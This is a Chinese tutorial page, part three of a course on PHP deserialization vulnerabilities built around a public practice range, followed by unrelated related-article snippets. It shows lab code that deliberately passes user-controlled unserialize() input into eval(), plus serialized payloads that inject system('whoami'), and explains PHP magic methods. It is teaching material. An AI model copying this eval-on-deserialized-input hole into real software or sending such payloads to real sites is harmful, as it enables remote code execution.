WEB渗透—PHP反序列化(三)

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


五、反序列化漏洞

1)反序列化之后的内容为一个对象

2)反序列化生成的对象里的,由反序列化里的值提供;与原有类预定义的值无关;

反序列化漏洞的成因:反序列化过程中,unserialize()接收到的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

3)反序列化不改变类的成员方法;需要调用方法后才能触发;

通过调用方法,触发代码执行

1.例题代码

<?php 
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}
$get = $_GET["benben"];     //benben为对象序列化后的字符串
$b = unserialize($get);            //$b把字符串$get反序列化为对象,通过更改字符串可改变得到的对象中$a的值
$b->displayVar();                        //通过调用方法触发可控代码
?>

2.解题代码

<?php
class test{public $a = "system('whoami');";
}
echo serialize(new test);
?>

输出结果:
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}

回显结果:

调用displayVar(),displayVar()执行eval(),eval()触发代码


六、魔术方法简介

1.什么是魔术方法

一个预定好的,在特定情况下自动触发的行为方法。

2.魔术方法的作用

反序列化漏洞的成因:

        反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。

        魔术方法在特定条件下自动调用相关方法,最终导致触发代码

3.魔术方法相关机制

触发时机 ——> 功能 ——> 参数 ——> 返回值

触发时机:动作不同,触发的魔术方法也不同

参数:一些特殊魔术方法会传参

1)__construct(),类的构建函数

2)__destruct(),类的析构函数

3)__call(),在对象中调用一个不可用访问方法时调用

4)__callStatic(),用静态方式中调用一个不可用访问方法时调用

5)__get(),获得一个类的成员变量时调用

6)__isset(),当不可访问属性调用isset()或empty()时调用

7)__set(),设置一个类的成员变量时调用

8)__unset(),当对不可访问属性调用unset()时被调用

9)__sleep(),执行serialize()时,先会调用这个函数

10)__wakeup(),执行unserizlize()时,先会调用这个函数

11)__toString(),类被当成字符串时的回应方法

12)__invoke(),调用函数的方法调用一个对象时的回应方法

13)__ser_state(),调用var_export()导出类时,此静态方法被调用

14)__clone(),当对象复制完成时调用

15)__autoload(),尝试加载未定义的类

16)__debugInfo(),打印所需调试信息

4.__construct()

构造函数,在实例化一个对象的时候,首先会自动执行一个方法;

<?php
class User {
public $username;
public function __construct($username) {$this->username = $username;echo "触发了构造函数1次" ;}
}
$test = new User("benben");         //实例化对象时触发构造函数__construct()
$ser = serialize($test);            //在序列化和反序列化过程中不会触发
unserialize($ser);
?>

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

返回值:(无)

5. __destruct()

析构函数,在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法;

<?php
class User {public function __destruct(){echo "触发了析构函数1次"."<br />" ;}
}
$test = new User("benben");               //实例化对象结束后,代码运行完全会销毁,触发析构函数__destruct()
$ser = serialize($test);                  //在序列化过程中不会被触发
unserialize($ser);        ​​​​​​​        ​​​​​​​        //在反序列化过程中会被触发
?>

反序列化得到的是对象,用完后会被销毁,触发析构函数__destruct()

触发时机:对象引用完成,或对象被销毁

功能:(无)

参数:(无)

返回值:(无)

6.析构函数例题

<?php
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);
?>

反序列化会触发__destruct()

7. 解题代码

<?php
class User {var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>

输出结果:
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}

回显结果:

unserialize()触发__destruct(),destruct执行eval(),eval()触发代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/229077.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

嵌入式培训-数据结构-day23-线性表

线性表 线性表是包含若干数据元素的一个线性序列 记为&#xff1a; L(a0, ...... ai-1, ai, ai1 ...... an-1) L为表名&#xff0c;ai (0≤i≤n-1)为数据元素&#xff1b; n为表长,n>0 时&#xff0c;线性表L为非空表&#xff0c;否则为空表。 线性表L可用二元组形式描述…

diffuser为pipeline设置不用的scheduler

查看默认的schedulers&#xff1a; 使用默认的schedulers生成数据 查看默认scheduler的默认配置&#xff0c;定义了采样器中的相关参数&#xff0c;网上关于DDPM和DDIM的文章较多&#xff0c;可以先去看看这两种schedulers&#xff1a; 修改scheduler&#xff0c;可以用于…

【总结】THUPC2024

队名&#xff1a;消灭智哥 队友&#xff1a;zbh&#xff0c;hrl 比赛前一天组的队。队名源于及其智慧的对面楼的宿管。 复赛就不用想了&#xff0c;就体验一下 ACM 的队伍赛制。 去年一题没切&#xff0c;被队友 szt 单人切 3 带飞。现在 szt 已经是高贵的华附哥了。 今年我…

Linux——进程地址空间与进程控制

进程地址空间与进程控制 文章目录 进程地址空间与进程控制1. 进程地址空间1.1 进程地址空间的引入1.1 进程地址空间的特点1.2 页表1.3 C/C的地址1.4 进程地址空间 页表的优势 2. 进程控制2.1 进程创建2.1.1 写时拷贝 2.2 进程终止2.2.1 进程退出码2.2.2 异常信号码2.2.3 errno…

前端对接 —— 周末

1.点击校验 点击校验 宇哥 记得过滤 不能校验的数据&#xff08;我后端还要检验吗&#xff1f;&#xff09; 2.前端数据对接 这个可以吗&#xff1f; 这种的可以吗&#xff1f;

go原生http开发简易blog(一)项目简介与搭建

文章目录 一、项目简介二、项目搭建前置知识三、首页- - -前端文件与后端结构体定义四、配置文件加载五、构造假数据- - -显示首页内容 代码地址&#xff1a;https://gitee.com/lymgoforIT/goblog 一、项目简介 使用Go原生http开发一个简易的博客系统&#xff0c;包含一下功能…

使用堆排序算法

使用堆排序算法&#xff08;升序&#xff0c;建大堆顶&#xff09;完善此程序。&#xff08;注&#xff1a;截图为堆排序初始化后的大堆顶结果&#xff0c;详见源代码&#xff09; #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #define N 10void input(int a[], …

【react.js + hooks】基于事件机制的跨组件数据共享

跨组件通信和数据共享不是一件容易的事&#xff0c;如果通过 prop 一层层传递&#xff0c;太繁琐&#xff0c;而且仅适用于从上到下的数据传递&#xff1b;建立一个全局的状态 Store&#xff0c;每个数据可能两三个组件间需要使用&#xff0c;其他地方用不着&#xff0c;挂那么…

MySQL日志管理,备份与恢复

备份的主要目的是灾难恢复&#xff0c;备份还可以测试应用、回滚数据修改、查询历史数据、审计等。 而备份、恢复中&#xff0c;日志起到了很重要的作用 MySQL日志管理是数据库管理中的一个重要方面&#xff0c;它可以用于诊断问题、监控性能、进行故障恢复等。MySQL主要有几种…

【合成数字】合成类游戏-uniapp项目开发流程详解

以前玩过2048游戏&#xff0c;从中发现规律&#xff0c;想到跟合成类游戏相似&#xff0c;知道为什么很相似吗&#xff0c;在这里&#xff0c;做一个数字合成游戏玩玩吧&#xff0c;感兴趣的话可以看看&#xff0c;这里给大家讲一讲数字合成游戏的开发过程。 文章目录 创建项目…

Pandas-DataFtame的索引与切片(第3讲)

Pandas-DataFtame的索引与切片(第3讲)         🍹博主 侯小啾 感谢您的支持与信赖。☀️ 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ�…

【动态读取配置文件】ParameterTool读取带环境的配置信息

不同环境Flink配置信息是不同的&#xff0c;为了区分不同环境的配置文件&#xff0c;使用ParameterTool工具读取带有环境的配置文件信息 区分环境的配置文件 三个配置文件&#xff1a; flink.properties&#xff1a;决定那个配置文件生效 flink-dev.properties&#xff1a;测…

主持知识竞赛类节目的一般流程是什么

竞争性的团队活动&#xff0c;更适合青年的特点&#xff0c;更容易得到青年的支持&#xff0c;也是"离教于乐"的好方式。 这类活动可从内容和特点上分为知识性竞赛&#xff0c;技能性竞赛&#xff0c;文娱性竞赛&#xff0c;体育竞技性竞赛等形式。 知识性竞赛&…

【VMware安装及虚拟机配置】

1. 下载VMware 进入 VMware Workstation 17 Pro下载链接 下拉到如下位置&#xff0c;点击DOWNLOAD 2. 安装VMware 参考&#xff1a;虚拟机VMware下载与安装教程 本次安装是vmware 17&#xff0c;安装步骤差不多&#xff0c;只参考第二部分即可。 3. 激活VMware 密钥&…

【Qt QML入门】TextInput

TextInput&#xff1a;单行文本输入框。 TextInput除了光标和文本外&#xff0c;默认没有边框等效果。 import QtQuick import QtQuick.Window import QtQuick.ControlsWindow {id: winwidth: 800height: 600visible: truetitle: qsTr("Hello World")//单行文本输…

HarmonyOS开发实战:如何实现一个运动排名榜页面

HarmonyOS开发实战&#xff1a;如何实现一个运动排名榜页面 代码仓库&#xff1a; 运动排名榜页面 项目介绍 本项目使用声明式语法和组件化基础知识&#xff0c;搭建一个可刷新的排行榜页面。在排行榜页面中&#xff0c;使用循环渲染控制语法来实现列表数据渲染&#xff0c;…

03 使用Vite开发Vue3项目

概述 要使用vite创建Vue3项目&#xff0c;有很多种方式&#xff0c;如果使用命令&#xff0c;则推荐如下命令&#xff1a; # 使用nvm将nodejs的版本切换到20 nvm use 20# 全局安装yarn npm install -g yarn# 使用yarnvite创建项目 yarn create vite不过&#xff0c;笔者更推荐…

LeedCode刷题---滑动窗口问题(二)

顾得泉&#xff1a;个人主页 个人专栏&#xff1a;《Linux操作系统》 《C/C》 《LeedCode刷题》 键盘敲烂&#xff0c;年薪百万&#xff01; 一、将X减到0的最小操作数 题目链接&#xff1a;将 x 减到 0 的最小操作数 题目描述 给你一个整数数组 nums 和一个整数 x 。每一…

mysql的负向条件查询会不会使用索引

mysql的负向条件查询&#xff0c;例如not in&#xff0c;会不会使用索引&#xff1f; 其实&#xff0c;mysql还是会尽量利用索引。如果查询的列上有索引&#xff0c;并且索引能够覆盖查询所需的列&#xff0c;那么mysql可能会使用索引来获取结果&#xff0c;而不是进行全表扫描…

2024中国国际大数据产业博览会年度主题征集公告

2024中国国际大数据产业博览会年度主题征集公告 中国国际大数据产业博览会&#xff08;以下简称数博会&#xff09;&#xff0c;是全球首个以大数据为主题的国家级博览会&#xff0c;由国家发展和改革委员会、工业和信息化部、国家互联网信息办公室和贵州省人民政府共同主办&am…